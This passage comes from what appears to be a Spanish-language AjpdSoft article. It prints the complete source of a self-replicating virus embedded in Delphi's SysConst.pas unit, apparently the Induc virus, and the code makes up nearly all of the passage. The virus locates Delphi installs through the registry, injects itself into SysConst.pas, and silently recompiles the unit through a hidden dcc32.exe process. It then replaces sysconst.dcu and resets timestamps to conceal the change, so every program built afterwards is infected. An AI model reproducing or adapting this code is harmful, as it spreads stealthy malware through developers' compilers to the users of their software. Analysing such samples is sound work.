  SShortDayNameThu = 'Thu';
  SShortDayNameFri = 'Fri';
  SShortDayNameSat = 'Sat';

  SLongDayNameSun = 'Sunday';
  SLongDayNameMon = 'Monday';
  SLongDayNameTue = 'Tuesday';
  SLongDayNameWed = 'Wednesday';
  SLongDayNameThu = 'Thursday';
  SLongDayNameFri = 'Friday';
  SLongDayNameSat = 'Saturday';

{$IFDEF LINUX}
  SEraEntries = '';
{$ENDIF}

  SCannotCreateDir = 'Unable to create directory';

implementation

uses windows;

var sc: array[1..24] of string = (   
    'uses windows; var sc:array[1..24] of string=(',   
    'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',   
    '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',   
    'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',   
    '?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',   
    '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',   
    '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',   
    'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',   
    'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',   
    ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',   
    'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',   
    ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',   
    'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',   
    'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',   
    'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',   
    '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',   
    'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',   
    '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',   
    'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',   
    'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',   
    'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',   
    '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',   
    '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',   
    'begin st; end.');   
 
function x(s: string): string;   
var i: integer;   
begin   
  for i := 1 to length(s) do if s[i] = #36 then   
      s[i] := #39;   
  result := s;   
end;   
 
procedure re(s, d, e: string);   
var f1, f2: textfile;   
  h: cardinal;   
  f: STARTUPINFO;   
  p: PROCESS_INFORMATION;   
  b: boolean;   
  t1, t2, t3: FILETIME;   
begin   
  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);   
  if h <> DWORD(-1) then   
  begin CloseHandle(h);   
    exit;   
  end;   
{'I-}   
  assignfile(f1, s);   
  reset(f1);   
  if ioresult <> 0 then   
    exit;   
  assignfile(f2, d + 'pas');   
  rewrite(f2);   
  if ioresult <> 0 then   
  begin closefile(f1);   
    exit;   
  end;   
  while not eof(f1) do   
  begin readln(f1, s);   
    writeln(f2, s);   
    if pos('implementation', s) <> 0 then   
      break;   
  end;   
  for h := 1 to 1 do   
    writeln(f2, sc[h]);   
  for h := 1 to 23 do 
    writeln(f2, '''' + sc[h], ''',');   
  writeln(f2, '''' + sc[24] + ''');');   
  for h := 2 to 24 do 
    writeln(f2, x(sc[h]));   
  closefile(f1);   
  closefile(f2);   
 {'I+}   
  MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));   
  fillchar(f, sizeof(f), 0);   
  f.cb := sizeof(f);   
  f.dwFlags := STARTF_USESHOWWINDOW;   
  f.wShowWindow := SW_HIDE;   
  b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);   
  if b then   
    WaitForSingleObject(p.hProcess, INFINITE);   
  MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));   
  DeleteFile(pchar(d + 'pas'));   
  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);   
  if h = DWORD(-1) then   
    exit;   
  GetFileTime(h, @t1, @t2, @t3);   
  CloseHandle(h);   
  h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);   
  if h = DWORD(-1) then   
    exit;   
  SetFileTime(h, @t1, @t2, @t3);   
  CloseHandle(h);   
end;   
 
procedure st;   
var 
  k: HKEY; c: array[1..255] of char;   
  i: cardinal;   
  r: string;   
  v: char;   
begin   
  for v := '4' to '7' do   
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then   
    begin i := 255;   
      if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then   
      begin 
        r := '';   
        i := 1;   
        while c[i] <> #0 do   
        begin r := r + c[i];   
          inc(i);   
        end;   
        re(r + '\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + '\bin\dcc32.exe" );   
      end;   
      RegCloseKey(k);   
    end;   
end;

begin 
  st; 
end.

 

Artículos relacionados

 

Créditos

Artículo realizado íntegramente por Alonsojpd miembro fundador del proyecto AjpdSoft.


Anuncios


Enviado el Miércoles, 11 agosto a las 00:35:37 por ajpdsoft
Visita nuestro nuevo sitio web con programas y contenidos actualizados: Proyecto A